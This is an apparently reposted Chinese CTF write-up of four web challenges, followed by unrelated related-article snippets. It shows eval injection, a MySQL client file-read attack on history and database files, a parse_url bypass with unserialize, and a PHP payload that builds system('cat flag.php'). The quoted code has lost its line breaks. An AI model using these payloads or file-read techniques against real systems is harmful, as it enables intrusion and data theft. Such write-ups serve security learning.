幾道web題簡單總結

拖了好長時間,總結一下這一段時間做的幾道值得記錄一下的題目,有的沒做出來,但是學習到了新的東西

1.homebrew event loop

? ddctf的一道題目,學到了python eval函數的用法,首先分析題目:

# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'from flask import Flask, session, request, Response
import urllibapp = Flask(__name__)
app.secret_key = '*********************'  # censored
url_prefix = '/d5af31f99147e857'def FLAG():return 'FLAG_is_here_but_i_wont_show_you'  # censoreddef trigger_event(event):session['log'].append(event)if len(session['log']) > 5: session['log'] = session['log'][-5:]if type(event) == type([]):request.event_queue += eventelse:request.event_queue.append(event)def get_mid_str(haystack, prefix, postfix=None):haystack = haystack[haystack.find(prefix) + len(prefix):]if postfix is not None:haystack = haystack[:haystack.find(postfix)]return haystackclass RollBackException: passdef execute_event_loop():valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')resp = Nonewhile len(request.event_queue) > 0:event = request.event_queue[0]  # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"request.event_queue = request.event_queue[1:]if not event.startswith(('action:', 'func:')): continuefor c in event:if c not in valid_event_chars: breakelse:is_action = event[0] == 'a'action = get_mid_str(event, ':', ';')  # indexargs = get_mid_str(event, action + ';').split('#') #True#Truetry:event_handler = eval(action + ('_handler' if is_action else '_function'))ret_val = event_handler(args)except RollBackException:if resp is None: resp = ''resp += 'ERROR! All transactions have been cancelled. <br />'resp += '<a href="./?action:view;index">Go back to index.html</a><br />'session['num_items'] = request.prev_session['num_items']session['points'] = request.prev_session['points']breakexcept Exception, e:if resp is None: resp = ''# resp += str(e) # only for debuggingcontinueif ret_val is not None:if resp is None:resp = ret_valelse:resp += ret_valif resp is None or resp == '': resp = ('404 NOT FOUND', 404)session.modified = Truereturn resp@app.route(url_prefix + '/')
def entry_point():querystring = urllib.unquote(request.query_string)request.event_queue = []if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:querystring = 'action:index;False#False'if 'num_items' not in session:session['num_items'] = 0session['points'] = 3session['log'] = []request.prev_session = dict(session)trigger_event(querystring)return execute_event_loop()# handlers/functions below --------------------------------------def view_handler(args):page = args[0]html = ''html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points'])if page == 'index':html += '<a href="./?action:index;True%23False">View source code</a><br />'html += '<a href="./?action:view;shop">Go to e-shop</a><br />'html += '<a href="./?action:view;reset">Reset</a><br />'elif page == 'shop':html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'elif page == 'reset':del session['num_items']html += 'Session reset.<br />'html += '<a href="./?action:view;index">Go back to index.html</a><br />'return htmldef index_handler(args):bool_show_source = str(args[0])bool_download_source = str(args[1])if bool_show_source == 'True':source = open('eventLoop.py', 'r')html = ''if bool_download_source != 'True':html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'html += '<a href="./?action:view;index">Go back to index.html</a><br />'for line in source:if bool_download_source != 'True':html += line.replace('&', '&amp;').replace('\t', '&nbsp;' * 4).replace(' ', '&nbsp;').replace('<','&lt;').replace('>', '&gt;').replace('\n', '<br />')else:html += linesource.close()if bool_download_source == 'True':headers = {}headers['Content-Type'] = 'text/plain'headers['Content-Disposition'] = 'attachment; filename=serve.py'return Response(html, headers=headers)else:return htmlelse:trigger_event('action:view;index')def buy_handler(args):num_items = int(args[0])if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])session['num_items'] += num_itemstrigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])def consume_point_function(args):point_to_consume = int(args[0])if session['points'] < point_to_consume: raise RollBackException()session['points'] -= point_to_consumedef show_flag_function(args):flag = args[0]# return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.return 'You naughty boy! ;) <br />'def get_flag_handler(args):if session['num_items'] >= 5:trigger_event('func:show_flag;' + FLAG())  # show_flag_function has been disabled, no worriestrigger_event('action:view;index')if __name__ == '__main__':app.run(debug=False, host='0.0.0.0')

這道題目首先通讀源碼是必須的,另一個必須要了解到的出題點在eval()函數這個地方,eval中可以傳入#來注釋掉后面的部分

從上圖可以看出來,此時eval會忽略掉#后面的所有字符串,以及要做出這道題的另一個點:

打破程序進行的流程,先加鉆石數量再檢驗錢數,并且可以給事件傳入一個列表,那么先加鉆石,在檢驗錢之前去getflag即可,而且這里會把flag帶到log中去,總之就是在一個正常的處理序列中去插入一個新的事件,因為eval這里可控,所以剛開始就應該反映到出題點

在這里!

?2.mysql弱口令

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 12/1/2019 2:58 PM
# @Author  : fz
# @Site    : 
# @File    : agent.py
# @Software: PyCharmimport json
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from optparse import OptionParser
from subprocess import Popen, PIPEclass RequestHandler(BaseHTTPRequestHandler):def do_GET(self):request_path = self.pathprint("\n----- Request Start ----->\n")print("request_path :", request_path)print("self.headers :", self.headers)print("<----- Request End -----\n")self.send_response(200)self.send_header("Set-Cookie", "foo=bar")self.end_headers()result = self._func()self.wfile.write(json.dumps(result))def do_POST(self):request_path = self.path# print("\n----- Request Start ----->\n")print("request_path : %s", request_path)request_headers = self.headerscontent_length = request_headers.getheaders('content-length')length = int(content_length[0]) if content_length else 0# print("length :", length)print("request_headers : %s" % request_headers)print("content : %s" % self.rfile.read(length))# print("<----- Request End -----\n")
self.send_response(200)self.send_header("Set-Cookie", "foo=bar")self.end_headers()result = self._func()self.wfile.write(json.dumps(result))def _func(self):netstat = Popen(['netstat', '-tlnp'], stdout=PIPE)netstat.wait()ps_list = netstat.stdout.readlines()result = []for item in ps_list[2:]:tmp = item.split()Local_Address = tmp[3]Process_name = tmp[6]tmp_dic = {'local_address': Local_Address, 'Process_name': Process_name}result.append(tmp_dic)return resultdo_PUT = do_POSTdo_DELETE = do_GETdef main():port = 8123print('Listening on localhost:%s' % port)server = HTTPServer(('0.0.0.0', port), RequestHandler)server.serve_forever()if __name__ == "__main__":parser = OptionParser()parser.usage = ("Creates an http-server that will echo out any GET or POST parameters, and respond with dummy data\n""Run:\n\n")(options, args) = parser.parse_args()main()

?這道題主要是來攻擊mysql連接的客戶端,這個題目給了agent.py 是用來檢測是不是服務器上存在mysqld進程,而判斷是通過do_get和do_post兩個函數確定的,這兩個函數都會調用_func函數,返回進程名,然后do_get 和do_post再把_func的返回值輸出,

所以只需要讓最后輸出的存在mysqld就行了,然后就可以在服務器上讀取客戶端的文件。

這里讀取客戶端的.mysql_histoty文件,這個文件存儲了用戶登陸mysql服務器所執行的命令,也可以讀取.bash_history

在這里又可以讀到web的源碼地址,所以可以繼續讀取它:

在這里能夠發現flag所在的庫和表,所以就可以讀取表中的內容,又因為linux下,mysql安裝后,數據庫的數據默認存放在/var/lib/mysql目錄下,所以可以直接訪問其中的庫表,所以可以直接讀取

/var/lib/mysql/security/flag.ibd

?3.just soso

這道題比較常規

<html>
<?php
error_reporting(0); 
$file = $_GET["file"]; 
$payload = $_GET["payload"];
if(!isset($file)){echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){die('hack attacked!!!');
}
@include($file);
if(isset($payload)){  $url = parse_url($_SERVER['REQUEST_URI']);parse_str($url['query'],$query);foreach($query as $value){if (preg_match("/flag/",$value)) { die('stop hacking!');exit();}}$payload = unserialize($payload);
}else{ echo "Missing parameters"; 
} 
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>

這里主要記錄一下繞過parse_url,這里會檢測flag字符串,但是要是讓parse_url

這樣就能使parse_url返回false,這樣繞過對flag的過濾,然后后面就是常規的反序列化漏洞,這里要記住最后的序列化的數據因為有不可見字符所以需要urlencode一下

?4.math

<?php 
error_reporting(0); 
//聽說你很喜歡數學,不知道你是否愛它勝過愛flag 
if(!isset($_GET['c'])){ show_source(__FILE__); 
}else{ //例子 c=20-1 $content = $_GET['c']; if (strlen($content) >= 80) { die("太長了不會算"); } $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $content)) { die("請不要輸入奇奇怪怪的字符"); } } //常用數學函數http://www.w3school.com.cn/php/php_ref_math.asp $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); foreach ($used_funcs[0] as $func) { if (!in_array($func, $whitelist)) { die("請不要輸入奇奇怪怪的函數"); } } //幫你算出答案 eval('echo '.$content.';'); 
}

?方法一:

這道題主要還是構造沒有字母的shell,這里面又提供了進制轉換的函數base_convert(),說明可以用0-9a-z 36個字符,那么就可以構造shell,這里主要通過分析一個payload:

$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat flag.php
這里通過構造動態函數,首先base_convert()構造hex2bin,把16進制轉換為字符串,再通過“_GET” -> 16進制表示,再到10進制表示,然后反過來dechex()->hex2bin(),然后結合動態函數
比如$a="_GET";$$a{c}(($$a){d}); 這樣將實際的payload放在GET參數中,從而來減小長度。
另外一個點是php的數組不僅可以通過[]來進行索引,還可以通過{}來進行索引。
方法2:
另一種構造出_GET的方法是通過異或字符串:
比如要得到_G,則可以通過:

具體怎么得出:可以通過“_G”和兩個字符異或:

for($j=0;$j<10;$j = $j+1){for($i=0;$i<10;$i = $i+1){echo $i.$j." ";echo "_G"^($j).($i);echo "\n";
}}

可以得到兩位字符串,這里也可以選3位或者4位跑,但是因為得到的字符串需要在白名單里面找,所以太長了找不到,所以選兩位最好,一位會增加payload長度,因此is是在白名單里存在的,所以就可以使用,同樣的方法去找“ET”,最后
還是去構造動態函數就可以了。
$abs=(is_finite^(6).(4)).(rad2deg^(7).(5));$$abs{acos}($$abs{ceil})

?



?

轉載于:https://www.cnblogs.com/wfzWebSecuity/p/10747867.html

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/277821.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/277821.shtml
英文地址,請注明出處:http://en.pswp.cn/news/277821.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

js進階 9-5 js如何確認form的提交和重置按鈕

js進階 9-5 js如何確認form的提交和重置按鈕 一、總結 一句話總結&#xff1a; 1、這個并不好做&#xff1a;onsubmit 里面的代碼必須返回false才能取消onsubmit方法的執行&#xff0c;所以&#xff0c;有return。注意&#xff1a;一般的調用肯定是沒有return的。onsubmit"…

.NET中RabbitMQ的使用

.NET中RabbitMQ的使用 概述 MQ全稱為Message Queue, 消息隊列&#xff08;MQ&#xff09;是一種應用程序對應用程序的通信方法。RabbitMQ是一個在AMQP基礎上完整的&#xff0c;可復用的企業消息系統。他遵循Mozilla Public License開源協議。AMQP(高級消息隊列協議) 是一個異步…

SQL Server死鎖診斷--同一行數據在不同索引操作下引起的死鎖

死鎖概述 對于數據庫中出現的死鎖&#xff0c;通俗地解釋就是&#xff1a;不同Session&#xff08;會話&#xff09;持有一部分資源&#xff0c;并且同時相互排他性地申請對方持有的資源&#xff0c;然后雙方都得不到自己想要的資源&#xff0c;從而造成的一種僵持的現象。當然…

python下載安裝搭建

python官網下載python運行環境&#xff08;https://www.python.org/downloads/&#xff09;&#xff0c;建議下載穩定版本&#xff0c;不推薦使用最新版本 安裝 然后我們打開CMD&#xff0c;在里面輸入python&#xff0c;就可以直接進入進行編碼了 如果輸入python出現下面錯誤 …

35個Java 代碼性能優化總結

前言代碼優化&#xff0c;一個很重要的課題。可能有些人覺得沒用&#xff0c;一些細小的地方有什么好修改的&#xff0c;改與不改對于代碼的運行效率有什么影響呢&#xff1f;這個問題我是這么考慮的&#xff0c;就像大海里面的鯨魚一樣&#xff0c;它吃一條小蝦米有用嗎&#…

MySQL講義

1 MySQL基礎知識 瑞典MySQL AB公司開發&#xff0c;由SUN收購&#xff0c;而后SUN被甲骨文并購&#xff0c;目前屬于Oracle公司。 MySQL是一種關聯數據庫管理系統 由于其體積小、速度快、總體擁有成本低、MySQL軟件采用了雙授權政策&#xff0c;分為社區版和企業版。 …

Teams Bot App Manifest 文件解析

這篇文章我們繼續以 Hello World Bot 這個 sample 來講一下 manifest template。 實際上在 Teams app 開發的時候&#xff0c;有 manifest 的概念&#xff0c;manifest 是用來說明這個 teams app 的一些基本信息和配置信息&#xff0c;比如 app 的名字&#xff0c;app有哪些能…

[Dart] Flutter開發中的幾個常用函數

幾個Flutter開發中的常用函數 /** 返回當前時間戳 */static int currentTimeMillis() {return new DateTime.now().millisecondsSinceEpoch;}/** 復制到剪粘板 */static copyToClipboard(final String text) {if (text null) return;Clipboard.setData(new ClipboardData(text…

Cordova入門系列(三)Cordova插件調用 轉發 https://www.cnblogs.com/lishuxue/p/6018416.html...

Cordova入門系列&#xff08;三&#xff09;Cordova插件調用 版權聲明&#xff1a;本文為博主原創文章&#xff0c;轉載請注明出處 上一章我們介紹了cordova android項目是如何運行的&#xff0c;這一章我們介紹cordova的核心內容&#xff0c;插件的調用。演示一個例子&#xf…

clojure with postgres

主要關注訪問pg。不關心其他db 1 clojure.java.jdbc https://github.com/clojure/java.jdbchttp://clojure-doc.org/articles/ecosystem/java_jdbc/reusing_connections.html這個最廣&#xff0c;需要配合不同DB[org.clojure/java.jdbc "0.7.9"] [org.postgresql/pos…

lua入門

https://en.blog.nic.cz/2015/08/12/embedding-luajit-in-30-minutes-or-so/

shell腳本傳可選參數 getopts 和 getopt的方法

寫了一個shell腳本&#xff0c;需要向shell腳本中傳參數供腳本使用&#xff0c;達到的效果是傳的參數可以是可選參數 下面是一個常規化的shell腳本&#xff1a; echo "執行的文件名為: $0";echo "第一個參數名為: $1";echo "第二個參數名為: $2"…

Teams Tab App 代碼深入淺出 - 配置頁面

上一篇文章我們使用Teams Toolkit 來創建、運行 tab app。這篇文章我們深入來分析看一下tab app 的代碼。 先打開代碼目錄&#xff0c;可以看到在 src 目錄下有入口文件 index.tsx&#xff0c;然后在 components 目錄下有更多的一些 tsx 文件&#xff0c;tsx 是 typescript的一…

labelme標注的json文件數據轉成coco數據集格式(可處理目標框和實例分割)

這里主要是搬運一下能找到的 labelme標注的json文件數據轉成coco數據集格式&#xff08;可處理目標框和實例分割&#xff09;的代碼&#xff0c;以供需要時參考和提供相關幫助。 1、官方labelme實現 如下是labelme官方網址&#xff0c;提供了源代碼&#xff0c;以及相關使用方…

EpSON TM-82II驅動在POS系統上面安裝問題處理

按照品牌名稱&#xff0c;在網上下載的安裝包為apstmt82.rar 下面講解一下&#xff0c;如何的解決愛普生打印機在POS機器上面的安裝問題&#xff0c;這個算是一個比較奇特的故障問題&#xff0c;不像其它的新北冰洋&#xff08;SN3C&#xff09;的U80_U80II&#xff0c;SeNor的…

打印圖片的屬性和實現另存圖片功能以及使用numpy

上一篇我們已經學了如何讀取圖片的功能了以及和opencv的環境搭建了&#xff0c;今天接著來學習&#xff0c;哈哈哈&#xff0c;今天剛好五一&#xff0c;也沒閑著&#xff0c;繼續學習。 1、 首先我們來實現打印出圖片的一些屬性功能&#xff0c; 先來看一段代碼&#xff1a; 1…

Ubuntu 18.04下命令安裝VMware Tools

2019獨角獸企業重金招聘Python工程師標準>>> sudo apt-get upgrade sudo apt-get install open-vm-tools-desktop -y sudo reboot 轉載于:https://my.oschina.net/u/574036/blog/1829455

phpstorm PHP language level無法選擇

phpstorm PHP7新特性一直提示紅色波浪線&#xff0c;應該是沒有設置PHP 版本&#xff0c;但是打開PHPstorm---preference--lannguage&frameworks--PHP &#xff0c; 發現PHP language level 無法選擇PHP7.2 &#xff0c;查看旁邊的提示信息說是同步了composer 的原因&#…

Qfile

打開方式&#xff1a; 1 void AddStudents::write_to_file(QString src){2 QFile file("stu.txt");3 if (!file.open(QIODevice::Append | QIODevice::Text)){4 QMessageBox::critical(this,"打開文件錯誤","確認");5 r…

多層裝飾器、帶參數裝飾器

# 帶參數的裝飾器 # import time # FLAGE False # 加個標志位&#xff0c;使全部的裝飾器可以失效或有效 # def timmer_out(flag): # def timmer(func): # def inner(*args,**kwargs): # if flag: # start time.time() # …